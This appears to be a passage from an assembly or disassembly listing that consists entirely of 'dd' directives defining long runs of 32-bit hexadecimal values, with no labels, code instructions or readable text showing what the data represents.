		dd 0A8754835h, 0A4CA97BCh, 0B9C0EEC8h, 10DDED84h, 226F9E8h
		dd 0CD24F664h, 0B7A120F2h, 90453Fh, 6F0151B0h, 10AA720Ah
		dd 0E5ED4882h, 2FF28878h, 81A7BC20h, 0E1DC019Eh, 0ADB1EE33h
		dd 22289C19h, 0B063BE41h, 418CB297h, 0C32006B4h, 0E814B548h
		dd 63008CEDh, 0F56D3056h, 16135851h, 98920ABBh,	70A0E91Ch
		dd 0A9C0314Ah, 611EA2Dh, 2213928h, 0AE407D05h, 0E9884872h
		dd 46F58B80h, 6B1DBADh,	34E3A27Eh, 3157C906h, 1BB50B84h
		dd 55BC04ACh, 0C4611F40h, 0C8009F31h, 92996FECh, 7AAFE0B4h
		dd 0F3B2017Eh, 0F15E4D45h, 442E6AC8h, 6C02ED23h, 0D66769E6h
		dd 5B57400Ch, 3E2CB537h, 1D6B3CB3h, 8F5D1168h, 0E257E095h
		dd 2E6EE6B6h, 0B30D1FCh, 685008F7h, 98EEB33Ah, 8B100667h
		dd 0C1D402E8h, 0E3BCEAAEh, 55250C70h, 100B776h,	51A1D31Dh
		dd 10316E45h, 383CA9E4h, 3489D882h, 0E9A2A44Bh,	0BCACC0F6h
		dd 56607900h, 0E3EA6B1h, 1A03C997h, 44AEC32Bh, 0E2EC1613h
		dd 1AA08038h, 1231DE75h, 0C2747AF2h, 0B0D65D9Ch, 1EED465Eh
		dd 3914A6ACh, 1623229Ch, 806499CEh, 0FF5DA7E4h,	25C40097h
		dd 5F7AE89Ch, 1C248CA2h, 89AB4Ah, 74F8F9A4h, 0BB1FEB46h
		dd 0AF2783E2h, 610E6A3Eh, 7D17BF4Eh, 9607708Fh,	3CAD80D0h
		dd 387800ABh, 41E54C8Ch, 7D00B40Dh, 0DA446CF7h,	0BC901E31h
		dd 41465C18h, 2DB53B04h, 887F8067h, 0E5A01FAh, 0FBCA4043h
		dd 0BD40D0ADh, 76FD002Fh, 20DA1BAh, 38775912h, 73ED103h
		dd 0C5C5D85Eh, 2E22FC01h, 0E8382153h, 31B1EC80h, 0D800D586h
		dd 0C47D14C2h, 0F8794767h, 0A5B409CBh, 9810EC64h, 9B07A6BDh
		dd 0E80788CDh, 60E15914h, 0EDF2C872h, 235B130h,	5DEC4C2Dh
		dd 944A07BBh, 0D3255483h, 20B8584Dh, 0BFB67292h, 0FA913417h
		dd 8B0D0E80h, 992CE9BEh, 206EDC6Fh, 2AA0942Fh, 96440032h
		dd 335720A3h, 91093EB6h, 97CA65A5h, 87EC9134h, 0AB3051B3h
		dd 833549BAh, 0B27E41F0h, 71205D00h, 918F9880h,	5487022Eh
		dd 67E13C35h, 0EE790451h, 0DDE0C818h, 91AB439h,	48A7E3B8h
		dd 0AD74BD8h, 6A62BAE1h, 0A28A12A0h, 3158F2A4h,	0B2E3EC3Fh
		dd 6C400496h, 8006DF97h, 8570D7A6h, 3485E894h, 3CF17BDCh
		dd 8C6E2Eh, 3A061A62h, 7804D2CBh, 4DE20482h, 0CCED64B6h
		dd 2C84AB6Ch, 0B43423h,	5A419ACh, 64BEE864h, 0B321B144h
		dd 810C6831h, 137324F5h, 0C2D6ABC1h, 70B0FBA8h,	781227E7h
		dd 0D8C5B158h, 0B0E70CF6h, 776C3014h, 705C7326h, 0A992AE0Eh
		dd 0F17C85DDh, 85F000D2h, 28DDA36Ch, 5FECAC34h,	0C5D027E2h
		dd 0B90805EBh, 0C89056FDh, 6009FE8h, 11D8EBEAh,	97E6178Fh
		dd 5B91C897h, 9A609C80h, 7506488Bh, 7472AF91h, 9438F732h
		dd 9CE905DEh, 23C8F505h, 303DA288h, 0D3182F08h,	60685142h
		dd 5F8C80F3h, 9C5BD728h, 0BD7F0E19h, 0FC32C8E0h, 0B430FAF2h
		dd 9A303309h, 7A9831B0h, 5D12F11Dh, 7804E656h, 0A4E2E134h
		dd 3AB36B04h, 0CCB0848Ch, 1E0F2314h, 409E2296h,	0E531B5E4h
		dd 0BD88B4A9h, 4A805858h, 81F28BCAh, 72808297h,	4420F667h
		dd 540960DCh, 0CE38D678h, 0C0EFC8A4h, 5FB0D259h, 44C8854Bh
		dd 387EF033h, 0B1005BD3h, 22979A0h, 924C78D9h, 641B14CCh
		dd 402F4FACh, 1A023923h, 56207AAFh, 6B4502C8h, 84A152CBh
		dd 3855E0FEh, 0AB0A7188h, 0A406F242h, 92006C11h, 730D6B30h
		dd 0DF50811Eh, 622063B8h, 26DE7874h, 40040EE3h,	7751FB56h
		dd 0ACD1D12h, 0FB88FC8Fh, 2DD198C0h, 63B00F79h,	4A69E71Bh
		dd 0D602A8C8h, 0B534D017h, 0C2983C0Fh, 7CF275B1h, 0CFC16118h
		dd 990603Dh, 1EE098E9h,	725DEE40h, 6BA8A1F3h, 0BB545084h
		dd 0B328E04Ah, 0AE8DC209h, 0B23400CCh, 14CBEDE2h, 903160D1h
		dd 3CDF17h, 6DC3236Ch, 48C7F413h, 377F9FA8h, 8F6EE808h
		dd 8941D421h, 244F96C4h, 7099068Ch, 4019FAD1h, 493B8AE9h
		dd 88A2B900h, 75ED174Ch, 545A4DDFh, 0E514E208h,	0AA8DF007h
		dd 24CE735Eh, 0D7C04088h
		dd 4E5ADD5h, 0D2328394h, 2A288849h, 756F6500h, 0EFB25C4Bh
		dd 74C7A97h, 7108236Eh,	3236C0FBh, 9A70B34Fh, 0E7CEF825h
		dd 6059446Ch, 2563099h,	62BDC0E9h, 356152E4h, 635C25FBh
		dd 4CD00C0h, 9EB4FF7Dh,	0C5A30042h, 21D41D94h, 0C0422ECh
		dd 0CA285705h, 0FABCD0ACh, 0B1F88Ch, 0A4798E9Bh, 0DCBA10F2h
		dd 4B0084F6h, 0CEC31885h, 0C1148E1h, 8ACC60CFh,	63F0C2C0h
		dd 0C802325Eh, 0FA4A0208h, 76AB00F8h, 0EF129E27h, 55131D49h
		dd 67004D29h, 47BADF89h, 5A0B0D9Ah, 7E895C5Eh, 0F8001C6Eh
		dd 6D761F92h, 0FC98CCE2h, 6CF8109Fh, 80CF5A67h,	4EEAB208h
		dd 9FE0A74Ch, 2414EE10h, 5AE8DC35h, 8FCF038Ch, 0EE5266F0h
		dd 18672809h, 98DC383Ch, 0A96980B7h, 0DEB98B60h, 0D49D6AE8h
		dd 2C13B418h, 0C441FF3h, 0B6419AE6h, 0A692D801h, 0C9A4B0C2h
		dd 66008829h, 803187FEh, 9E128C35h, 24E606B9h, 0D457A5E1h
		dd 9E285B13h, 0EA09E055h, 5EBA14E8h, 0BCCD2FB0h, 0CEA65260h
		dd 0BF05031Ah, 0B42A8638h, 0F2688BB0h, 2213E607h, 9B808563h
		dd 16DDD67Ch, 903E99E0h, 0BE21E3A0h, 8347F0CFh,	0B524D093h
		dd 0F1CD9CC1h, 77B6980h, 0CA61A1C4h, 928FFD00h,	47EE76D1h
		dd 910A04C8h, 0A8063536h, 0F1D537C8h, 0B1D45029h, 0AC1B80C0h
		dd 9F1AAFFh, 0E0E25A25h, 51C2BF6Ch, 8E2BE00Dh, 0CE41C8F0h
		dd 0B3EAC760h, 1D04D6F6h, 0DD34E6D1h, 0B84C84E9h, 52C2822h
		dd 4DEB50B6h, 0A627C2CCh, 6F5C7CE0h, 0EC9C8D58h, 58008C3Fh
		dd 7B6668F4h, 54CCF6A4h, 319B8DBh, 123B3DECh, 0C2B1E277h
		dd 6E3A26h, 99F93100h, 0BE8E8BC2h, 0A106E20Bh, 64A05AE8h
		dd 6034B8A5h, 0E6B9A6AEh, 42448C27h, 0A7251CE6h, 5FEB03F1h
		dd 7BF17FE5h, 0B859DA37h, 59689400h, 70B4DFD8h,	38670091h
		dd 0CF84ACF0h, 0E002808Dh, 72B61BF6h, 30FC645Dh, 80B9640Eh
		dd 27EE3DEDh, 3CC9F300h, 44ECFA8Dh, 0F8BCE607h,	0C32A17F6h
		dd 5D7000A6h, 0B469887Ch, 74900D4Ah, 1375A45h, 1C477B1Ah
		dd 305FA9CDh, 0F31DE89Ch, 0A2038BD6h, 660DBAh, 32041531h
		dd 96F5A9DBh, 4ED35C0Eh, 0E5394091h, 4A645D9Dh,	0B8B044E8h
		dd 795AC206h, 5402A0ABh, 0E40A8D7Ah, 42A13008h,	318C9B1h
		dd 6B1F13A0h, 948B9Ah, 279FFB9Dh, 955D674Eh, 501808h, 95639129h
		dd 72008BD3h, 0B7272882h, 7964CE1Ch, 3F3E100Eh,	8EC40954h
		dd 38CD0B3h, 0E885B7B0h, 49723AFAh, 13632004h, 7CC7D61Eh
		dd 5019EBEFh, 0AB6B06F8h, 190B5B6Eh, 19280CB7h,	14744272h
		dd 1018D5B1h, 285678AEh, 0E26C5402h, 68E2D6D9h,	0C2943C0Ah
		dd 64DCE0AEh, 66112080h, 3195ECA0h, 5B8FC7Bh, 9C293Bh
		dd 0F0853759h, 3A5CE543h, 0A82D1996h, 0F2224864h, 9C27BE2h
		dd 381017CBh, 0ED11E81Dh, 6F13DD80h, 0E6276515h, 0E3C44EAh
		dd 0DB94254Eh, 61187300h, 6F1CCE85h, 458B4450h,	0B9404465h
		dd 0BB8C1D68h, 4AACA080h, 5FD8A922h, 0CC5B6A72h, 0B5C0A040h
		dd 1A7E52Fh, 6BDAA250h,	80563B07h, 38D2C541h, 818FFAh
		dd 0CE220C61h, 0C3E2CBCAh, 4B1BE300h, 0E8FE77D9h, 0BAD4A96Dh
		dd 589F6C20h, 1C307A61h, 0A697D648h, 4850AC09h,	0B0B09095h
		dd 0C0844E92h, 3D0EC2D8h, 65F8E80Ch, 0BBB4832h,	12B07226h
		dd 4B443880h, 4007AA29h, 518C63D3h, 0CCD62800h,	8B0E2h
		dd 96A7586Eh, 0FB14EE92h, 22214400h, 0AEE3467Bh, 7F69EA67h
		dd 146D48C3h, 3D2D60Eh,	6A663EA3h, 7AAD5C8h, 0FF011D0h
		dd 40554443h, 3553C27Ch, 880D54E2h, 18C99C9h, 191CB27Eh
		dd 0A9002AA4h, 0BF7762B4h, 0C87900AEh, 0C2D07D32h, 1E0491ECh
		dd 352E4612h, 0FEC0A7C0h, 0FC29C0D5h, 0F7367AF8h, 0FB7A9771h
		dd 897A2F78h, 79AF1801h, 0F292ECEBh, 1DDB5230h,	547F15h
		dd 0D363E77Ch, 3C737ECFh, 5B070478h, 6019F5ACh,	108ED46h
		dd 0C034FCB3h, 80D2056Ch, 0C5030430h, 0E1E8Ah, 757DF845h
		dd 0EABA3AC1h, 7465673Ch, 3C7AC703h, 163D45Fh, 4B8E9F10h
		dd 0E0E8704Dh, 0B90CECFCh, 9083F6FFh, 851D00CBh, 0B601CED3h
		dd 0ECE12879h, 0E0C0EB6Bh, 75CA4004h, 7911CA7Bh, 747504h
		dd 0D5ACFF41h, 0EF168061h, 66E888E6h, 3D643600h, 0EEE5544Ch
		dd 0ED9F0552h, 80EBD9E6h, 0E4C8D07Dh, 2B749772h, 0A133BB00h
		dd 5A0D1718h, 0CCA60072h, 0B969A5A7h, 0E8036CE2h, 7C835DB6h
		dd 0BBA9E995h, 77937F4h, 0EE6FD9E5h, 0DEA14351h, 0DF1EE4E0h
		dd 8F3951CFh, 0F259E05Ah, 0F6A8BD9h, 69F03420h,	87AA4E80h
		dd 2B035EC4h, 0ABFF5364h, 0AC92E191h, 2DE41886h, 1F049E5h
		dd 3E31FE63h, 5061605Eh, 14268913h, 46E985F7h, 7C431ED9h
		dd 0FADE91C7h, 0F516C151h, 0EE068880h, 0DDA1BD99h, 3B34F414h
		dd 473C0040h, 7C61AC19h, 0CB1C0333h, 0E607789Dh, 0E29E8900h
		dd 3401A794h, 0D82631C4h, 0F6B6E0h, 500213BEh, 77E6ACD1h
		dd 90705062h, 55643E28h, 2615C9BEh, 100494FCh, 1ACAF849h
		dd 6043D10h, 10DA44C7h,	215F901Fh, 5076D500h, 0E43627E1h
		dd 886C00A7h, 49BAF160h, 4F00B9C5h, 5D8B1FA4h, 0D07582h
		dd 1DB83142h, 0E301D9FBh, 949E5200h, 7AD25C62h,	0B740039Fh
		dd 930AA108h, 0EFCF0A0h, 0BEC57C00h, 0BF3C5357h, 0BB4700D7h
		dd 3A511140h, 0D31FD849h, 20F0C4B6h, 0D0A92Fh, 0F280377Bh
		dd 0E632A4Dh, 78600B07h, 94D04066h, 12DC91Bh, 0AE07981h
		dd 0CC2269D8h, 0C301B0ADh, 5F15F458h, 0B8704E3Bh, 0DA650E39h
		dd 42005240h, 0CE37B83Ah, 0B3B29D00h, 0A8E353C3h, 547900A4h
		dd 6F520B23h, 46F4DF4Dh, 0E633C10Fh, 3192EC68h,	3F0406DDh
		dd 6A69881Bh, 0EDF38000h, 63A8826Dh, 59031F49h,	0B86A87h
		dd 253EEC3Bh, 0C5CE51E5h, 9ECA8001h, 0CD4DCCC7h, 6B45097h
		dd 112945C7h, 55BB20F3h, 0C14EFA00h, 71D0EBE1h,	980A50F8h
		dd 0E49F5434h, 0E323001Dh, 5C19C342h, 0A80039C1h, 796F8483h
		dd 3907223Fh, 0EB80F162h, 0EEA01D41h, 4C3BA4D0h, 16290049h
		dd 0C8268A9h, 0E3671432h, 5800988Fh, 22134BB6h,	0AA1D5447h
		dd 0CC06B9FEh, 209050h,	0A4C082CBh, 47740CD1h, 8A1A2300h
		dd 3F6EDBCAh, 28EA0031h, 993E4A92h, 38004D0Ch, 5FBF6A55h
		dd 378772h, 7FEAABC0h, 0F0091F89h, 98F27700h, 21C22C54h
		dd 3EEE0142h, 20DE08ADh, 0A40BC089h, 7E839600h,	0BE4A3799h
		dd 3820E179h, 0E0FB03F2h, 616DD566h, 0D02956B8h, 8A4EF107h
		dd 0C0BF82C1h, 1AD22C4h, 7CBE485Eh, 0B90AAB01h,	70F47E06h
		dd 691DDFC7h, 2D58C6C4h, 0AC9080h, 0C03250DCh, 0C1FA28C5h
		dd 18B9FD0Fh, 0E2009CF4h, 9B257A51h, 0BA64006Bh, 0A0430B0Dh
		dd 930057ACh, 333F42Bh,	761F0F39h, 2F9705DAh, 1E7483h
		dd 4CC8DCEBh, 21F2894Eh, 4460AD7Bh, 0EA9DA899h,	281260DFh
		dd 14CE4352h, 2F44EC00h, 45415BD3h, 4E4D1435h, 1454F9C4h
		dd 0F77703A7h, 454F9792h, 0C8A1F6C8h, 22BF7F07h, 6553761Bh
		dd 23AF8011h, 0EC5D01BEh, 0B8D1317Ah, 79B853F7h, 513C079Fh
		dd 0E330BDD5h, 8CDA3AE8h, 16122307h, 5B60F23Bh,	0E860C8BFh
		dd 431F00AFh, 5CC31034h, 0E4E564E6h, 2C9AE017h,	960AD000h
		dd 20F97B07h, 5A3500C7h, 1D1748E4h, 0E31D8105h,	58097C36h
		dd 0DBE4005Fh, 3CB2A33Dh, 14BD63E9h, 47E1CD80h,	0F9B1A0B0h
		dd 4B41A400h, 0CC32B55Ah, 626E0001h, 0E55921BFh, 2D002340h
		dd 35A34367h, 0C575DFh,	2AB9258Eh, 169F6571h, 63029E18h
		dd 1CADE958h
		dd 0C0749C43h, 0DCA6A43Dh, 970007D0h, 4EBD65AFh, 60179Ah
		dd 0F51BFB5Ch, 3C5714DBh, 1EE51A3Fh, 0E3423D44h, 4138C333h
		dd 0E7C45976h, 496B0155h, 0CE4915Ah, 628081BDh,	0AA5D0944h
		dd 0FAD879DDh, 0ADA500D3h, 0F919BD2Ah, 99062FC7h, 4F8F9A6Dh
		dd 13010048h, 293252B2h, 3604C89Bh, 8EC40571h, 80E90CC0h
		dd 1F66B05Eh, 0E63D1A1Ch, 736B002Ch, 5345B177h,	0E9021817h
		dd 33A9DBCh, 83C4D40Ch,	850F28D0h, 80AD5213h, 718FCE31h
		dd 0ECDE7135h, 0C39E00F0h, 394D5BBDh, 0C80010A2h, 0E3C944F3h
		dd 0E5FC54Eh, 46691CD1h, 41E3A1CFh, 878829B6h, 0B8C99E6Dh
		dd 69D82D2h, 0D5FF807Dh, 732A9F6Bh, 0C19700C2h,	44F463B0h
		dd 0B70065BCh, 0C06C38A6h, 7049371Eh, 16D703DAh, 83793D8Fh
		dd 180DEC0h, 575ED303h,	4DCF9Dh, 9603F0F0h, 0C6816695h
		dd 2700A89Ah, 25E4B3B4h, 991EAFh, 569280Ah, 0C41045C6h
		dd 5548F17Ah, 40A10070h, 0EA6E0E02h, 15EC00F2h,	5D958FF9h
		dd 20C02D22h, 6E601DDCh, 3B8A0E39h, 9B00051Ch, 0C190F3A3h
		dd 3527C703h, 8036A1BFh, 729597h, 28FF111h, 15A8CCB7h
		dd 0FF704E1Eh, 6A833A40h, 3E4AD6D1h, 1B00A269h,	89F59045h
		dd 0C7FC6C0Dh, 0E6200300h, 369D399Fh, 4B5300ABh, 0BA50953Eh
		dd 0A060653Ah, 37E1B2E0h, 335E0A18h, 0E41BDCh, 0B91E6DC1h
		dd 197A8315h, 84C0DF50h, 0C0269200h, 6C167B9Eh,	0C6A10051h
		dd 94953C13h, 76791514h, 653BF512h, 91818601h, 1080F8FDh
		dd 0D1B0BCE6h, 5F00CDEFh, 503ED02Ah, 4CC7686Ah,	0B30093BEh
		dd 0FFAA2473h, 21008CA5h, 0D3E78FAEh, 70DD83EFh, 9AEC0098h
		dd 28BB56C3h, 0ED014D43h, 920B674Bh, 74D826DFh,	0EFEA00D9h
		dd 0CBBE5BF4h, 25E29BABh, 1A9DBC0Bh, 0F9E40050h, 2214D75h
		dd 0EF8E0453h, 0AAC0022Dh, 0D23927EDh, 2A54024Bh, 0C0904473h
		dd 0A6D9515Ch, 93A90090h, 0F256179Eh, 79982D8Dh, 0CA6D7A0Eh
		dd 9C4AE083h, 7C8FFDh, 9D877E8Eh, 52A95CBEh, 0D0E33A00h
		dd 834AECD9h, 19E11CFBh, 318F4EFAh, 5342A440h, 2009028h
		dd 0D67FB905h, 58F2CAh,	478E3EAFh, 9E17AC2Dh, 0C9301F04h
		dd 93C096D0h, 0B016Fh, 0E5FE294Eh, 0DA3E94A4h, 0B0FA6900h
		dd 0BD5B2AB6h, 409B0033h, 0D52D9324h, 0F00D043h, 5417ADDBh
		dd 0BACB88D7h, 58B678D4h, 5148E562h, 13295003h,	0F4C81237h
		dd 0DC0022DDh, 1EA2B63Fh, 0EB9E30BEh, 0B01B4030h, 9D31179Bh
		dd 11170096h, 8F3BA322h, 140DE500h, 938B1809h, 76EE0186h
		dd 0D8A69917h, 5E3C20C3h, 8D835C1Dh, 0FD5FFF02h, 0B8B84837h
		dd 44E30108h, 453ACDDFh, 5E46D0CFh, 0A920E76Eh,	322103FFh
		dd 2440C5DAh, 0D0BC2FFCh, 357000D5h, 0C8D3DD0Ch, 0A7009CD1h
		dd 0B8EA8B26h, 2E8DE2EDh, 8068A9BBh, 5D25E077h,	4F6038B6h
		dd 1645AF58h, 8C20521Fh, 0AC763E0Ch, 0EB002A31h, 7B268FE7h
		dd 2A28A6EAh, 55103DC0h, 60001C20h, 16625h, 110EBBDBh
		dd 0B0A54C30h, 0CC2E50E8h, 0FF0125D9h, 340AE1ABh, 37B8C0h
		dd 601E0F7Ch, 6169AC85h, 6B50F30Eh, 0CC8120B4h,	38D866Eh
		dd 5B420D90h, 0B3F8CA87h, 0FC00BFA8h, 13259D84h, 78352B5h
		dd 0F09E1C4Fh, 768D9042h, 4C0010A3h, 58B53EACh,	3B71EEE0h
		dd 819D55DDh, 5B164331h, 0ABF0CCC0h, 52003BA1h,	0B30DD221h
		dd 1EAF386Ah, 542570h, 150CBDDAh, 19005764h, 0E77252F6h
		dd 53F3ECh, 78890E60h, 0AC13DE9Bh, 3C002BF0h, 27AF737Ah
		dd 6EA458h, 9E66B9F2h, 0C6C7AB41h, 8D0030B2h, 0CB7A0D8Bh
		dd 5C594B4Fh, 0A40003EFh, 0D8ABE0C1h, 79F004E1h, 5542E700h
		dd 0FED2E9BCh, 0FA1F3E8Bh, 0D8218280h, 0CF31C1C4h, 7883FC3Eh
		dd 18E118C0h, 2BD9B993h, 6120CD0Ah, 32E19Bh, 37D31E7Eh
		dd 7C87F01h, 899F40BFh,	0FE1F2742h, 2300800Dh, 12E4CA4Eh
		dd 0D5B00351h, 0F2FDF7BAh, 60203947h, 0C6E2D081h, 14E952BBh
		dd 0FCDB8700h, 0CA0ECF53h, 0ED0022F8h, 2B44BF10h, 781DC16h
		dd 387FCB27h, 780D012Ah, 5985FBA1h, 50C10834h, 20E39780h
		dd 7CA0688Dh, 0A629C900h, 5DDCBBE4h, 58180E3Ch,	8AF33840h
		dd 26C1B718h, 10BEB5C8h, 0F3017580h, 21C908D9h,	46A12F00h
		dd 0E55458EDh, 3162426h, 0ACBE06B0h, 0B5422902h, 217A3611h
		dd 4880822h, 22E2219Eh,	6E427933h, 21066511h, 7BF2080Dh
		dd 97887A90h, 3C04F945h, 66487E57h, 26093242h, 0B0502965h
		dd 1006CA4h, 503A9C75h,	2D45Ah,	8D28DE98h, 487DE364h, 0E81ED702h
		dd 0C0C88EE4h, 8B6D04h,	4DA3F27Eh, 227D3AACh, 0CB00AB7Eh
		dd 5961A150h, 5C91B3h, 51374542h, 779A8F9Eh, 5549D20Fh
		dd 8B7D5F28h, 82381662h, 60291922h, 2E890FECh, 148446h
		dd 0C94AD90Bh, 0E700D17Ah, 0EAFB58DAh, 0EEF9DFBCh, 597100DCh
		dd 33072AE6h, 4900AF05h, 3640A470h, 3506C3h, 753E42CCh
		dd 77F17C12h, 2A55BD07h, 95314AA6h, 9D9E4B1h, 40201181h
		dd 7BAA5358h, 0F3AC2E0h, 15615441h, 0F59509h, 0FA18E0CBh
		dd 0EA300D4h, 0E46A51ECh, 8185933h, 6092B177h, 0FAAF00BCh
		dd 0A53C3D3Eh, 6A00CF3Fh, 44CE8A19h, 0FB67A05h,	0F415A367h
		dd 6DFA6E00h, 6800923Dh, 0BA971163h, 1A5CA1Fh, 0C77B202Fh
		dd 20C99C49h, 8F026348h, 5361A642h, 3870D7h, 0C1A1E62h
		dd 40B0D1B7h, 30594800h, 9FBAB239h, 43BB0055h, 0AB3CA414h
		dd 190BEBF2h, 8001D4F0h, 3F8875B0h, 12EA007Fh, 0C4BF1324h
		dd 0E20CFE22h, 0A0C2681Bh, 74900E1h, 0B0AF80Dh,	0CD003A8Ah
		dd 41B9FEABh, 319118h, 46AF2578h, 6E34F32Ch, 472E6F00h
		dd 64E6B38Ch, 0F2B813h,	73C636D8h, 0DFF774CDh, 4EC2B00h
		dd 909B66DEh, 15BB1610h, 0A0588758h, 2725961Fh,	0F3B6FF0Eh
		dd 0A540DFCFh, 0DEC1EDE6h, 6ACE0EF6h, 89405F97h, 158114ADh
		dd 901E430Ah, 0F700E4F5h, 0BBEF5533h, 3CEB009Ch, 5C3DAC65h
		dd 52398901h, 2C3612DCh, 0EDAA3C81h, 23C0543Ch,	0DDD2A5CDh
		dd 0B14844h, 0EA53EF60h, 9189686Bh, 695B7009h, 41E10013h
		dd 0F75F14h, 2902BD93h,	9D861EDDh, 2CB45A00h, 0D9192664h
		dd 0F1C02D2h, 96F4E1F5h, 21C256E0h, 0E8E9300h, 65DFD1BBh
		dd 77DB01FCh, 0C62CB3D0h, 0FBF8713Eh, 0A81330C0h, 0BF23Ch
		dd 0C009B28Dh, 7CD4C4Fh, 35AD8454h, 23110062h, 7D7268D5h
		dd 361FB071h, 842CF59h,	0C0450207h, 671387h, 7C5F0FCDh
		dd 0AEAD3F0Ah, 1A347500h, 2C7A6227h, 846B001Fh,	0A5992F78h
		dd 37004B46h, 85C4403Fh, 75583349h, 0DEE90086h,	62569C8Ch
		dd 0D428D1F0h, 5900EC61h, 2B3F9A34h, 866F7Eh, 0E982A1A4h
		dd 0A8D4C321h, 7D5BB8A0h, 0A778FF07h, 0D3225C35h, 3C9E82E3h
		dd 58AF8116h, 75CC9EF3h, 9F9700AAh, 0E6618C09h,	3500CF7Ah
		dd 77A2B33Ah, 0E0AC0701h, 8C0C0008h, 74AD7EABh,	8AFCD20Fh
		dd 62AFCA00h, 1078FEC7h, 0CDF90023h, 961EA9F0h,	56007C2Ch
		dd 0D679BC4Bh, 246E9C72h, 3888F7EEh, 0B434A187h, 16F5A306h
		dd 0B64584E8h, 2F13F116h, 4051FC87h, 3421FA32h,	48009438h
		dd 1C8768A6h, 2E3CF95Ah, 72B5018Fh, 55E6FBA5h, 84DA3424h
		dd 9AB7E201h, 60ABDD65h, 0ECF1ECECh, 0B930320h,	5F1608C2h
		dd 0AA2635B8h, 1DC2715Ch, 0F380EAC5h, 0A8F26DC3h, 7D4000A3h
		dd 3FE25397h, 7300D5A0h, 209CC7FBh, 713833h, 15B01305h
		dd 0C8F80B83h, 2100F7B0h, 0E0BE0C2Ch, 3F2F1Ah, 78F07D44h
		dd 96E89503h
		dd 0F16D2807h, 74CE9775h, 0C8BE07B0h, 1AC12264h, 0DBFCD491h
		dd 0E758249Bh, 4C9C00D4h, 1E28E61h, 0AA139907h,	0EA60F305h
		dd 3EC31DEFh, 6E858F3Bh, 80F2D007h, 0E73971A7h,	16E0437Dh
		dd 0CCC78600h, 5795C981h, 51EE0005h, 3D17F38Fh,	0ED00EF83h
		dd 34BF2F44h, 855E88h, 0C589AA57h, 74D02C52h, 8043DD38h
		dd 37A3D3FCh, 9F3DCDh, 95E3D42Eh, 7D2F592Ch, 21BF0C00h
		dd 0D86F566Ah, 0F3FF0081h, 0E2C530F8h, 8A0013ACh, 1E19C4ADh
		dd 95E49Eh, 8F807D2Ah, 297CB725h, 0DD0ECCF8h, 0BDCE159Dh
		dd 5822C5C0h, 36BC2FCh,	6DED6912h, 8F9865F4h, 9A134ECBh
		dd 5C0022E9h, 2D33F685h, 1A4E6AEh, 16AC8D9Bh, 204359A3h
		dd 9F037D59h, 3FDA1782h, 0CBC5F888h, 60A309C0h,	8A80647Eh
		dd 36F7628Eh, 5C6FCE00h, 0BD912B2Ah, 0FE2F0088h, 0CF60813Ah
		dd 770052DAh, 0FC891C1Eh, 5BF0EBBh, 2E0D2349h, 0E0C8E08Bh
		dd 0B901D198h, 8764361Eh, 0FC20DA6Eh, 0C9B00CCh, 557307DFh
		dd 2B3AAC8Ah, 8E5180BFh, 4EFFC405h, 0E3EA0054h,	0A6B5A11Ah
		dd 0D90AAC29h, 0D490FDB1h, 73B0E905h, 962F4B0h,	44C25DE5h
		dd 6D298880h, 0EE00C982h, 4ED7DFBEh, 9CC8C73h, 0B079604Bh
		dd 7DA1DC80h, 851DF21Bh, 0B3D65DB4h, 8703800h, 1EB16A60h
		dd 0C0B85058h, 148EA4D2h, 530C20D3h, 6052771Dh,	0E4E71E6Fh
		dd 90CC048h, 8214AF5Fh,	28ABA200h, 9844C896h, 8DB53F6Eh
		dd 7DFFC500h, 6A62416Bh, 1F4C510Fh, 0F0616073h,	98DBCA81h
		dd 6C7E93h, 5FD0180Fh, 5CEDD4BCh, 1935903h, 8AB999D2h
		dd 8B64C096h, 0BACE0BA8h, 16438F5Ah, 73A3B097h,	9503682Bh
		dd 0C7B08E16h, 14A6F81Fh, 0AF6C24FBh, 75600061h, 0D03245EAh
		dd 0B2CCE805h, 0E0804E5Dh, 8635E2h, 0C1F60B1Ch,	24E65F03h
		dd 377CED00h, 4C437EE9h, 0A31A041Dh, 80C4D381h,	0C5D03C69h
		dd 30AB4Ch, 0A4B2CAEFh,	879B3h,	4007F86Ah, 9BF3DF31h, 1714F500h
		dd 0D7C984D3h, 0CDE253h, 26A29CF9h, 80DED9C3h, 25ABD500h
		dd 3B348F96h, 98A8F6F0h, 0EAC000ACh, 0D6777636h, 2A0462F7h
		dd 0C5BCC660h, 0CFE0B480h, 12210099h, 0AD8575E5h, 59F21A0Dh
		dd 6C00CA75h, 4842949Eh, 1C96F1Bh, 0B8C6EC3Dh, 0F88D4BBCh
		dd 2100C5F3h, 77277047h, 0EE9068C0h, 92A2011Bh,	51DDC3D4h
		dd 0BC1E2A9Fh, 668A1400h, 0E0CA19h, 1A3E620Bh, 703821B9h
		dd 0C7727B04h, 0A88146A9h, 0A034D92Ah, 0F36A0020h, 7EAE4EB8h
		dd 9202B904h, 0E42D0F4Dh, 5644899h, 40974F4Ch, 0C72F40B0h
		dd 7C01830Fh, 0B468E448h, 68608150h, 179E0082h,	0AA257F43h
		dd 191FEC04h, 69C4F3F6h, 0EEB511h, 0A722183Fh, 9D00972Fh
		dd 0F638F0Dh, 55F1B0Eh,	149FC0FAh, 0D58B0015h, 0CE74A0E8h
		dd 72B7A80Eh, 1C0BB343h, 8D378031h, 24B634BEh, 144CDCFh
		dd 4736E8BBh, 0F1528230h, 78B7C5E9h, 0D7F80040h, 8E3D45FAh
		dd 93000949h, 0D4CF7E3Eh, 3E995820h, 0A180B122h, 0F3866CD7h
		dd 5D2A0AD5h, 72F2A038h, 0CB688110h, 0C45B7B00h, 409F676Ah
		dd 0D8A0CF00h, 22F5930Ah, 2E00001h, 28A6E365h, 7E07CD57h
		dd 8F5C7599h, 0E08EB9A1h, 4FD930h, 0F87AC5ABh, 61596B79h
		dd 0CF5C4500h, 653BD947h, 7722018Fh, 0DD1FD3B8h, 82BD6152h
		dd 0DA2DBBC8h, 0E777E04Dh, 0FBCC0083h, 0C27299CAh, 0C92631D7h
		dd 0CF015D1Dh, 3457E359h, 5C273834h, 0D3001483h, 0DAD0697Fh
		dd 0D7005554h, 806B8662h, 1F17992Bh, 39BA09ADh,	928F1B00h
		dd 0F79A44F3h, 0F230DC70h, 0B5861091h, 96470171h, 4EBB120Bh
		dd 4C2801h, 3E9F236Fh, 7161DAFh, 52D17CC6h, 823F404Dh
		dd 3800BB0Ah, 78803EC8h, 59935Dh, 26815748h, 70A551C0h
		dd 77A81C00h, 299AFF35h, 0EFFD00BAh, 169C30AAh,	0EC7912EBh
		dd 7462A00h, 4B2FF433h,	0E4CE003Eh, 0D3DD2B92h,	0CC011383h
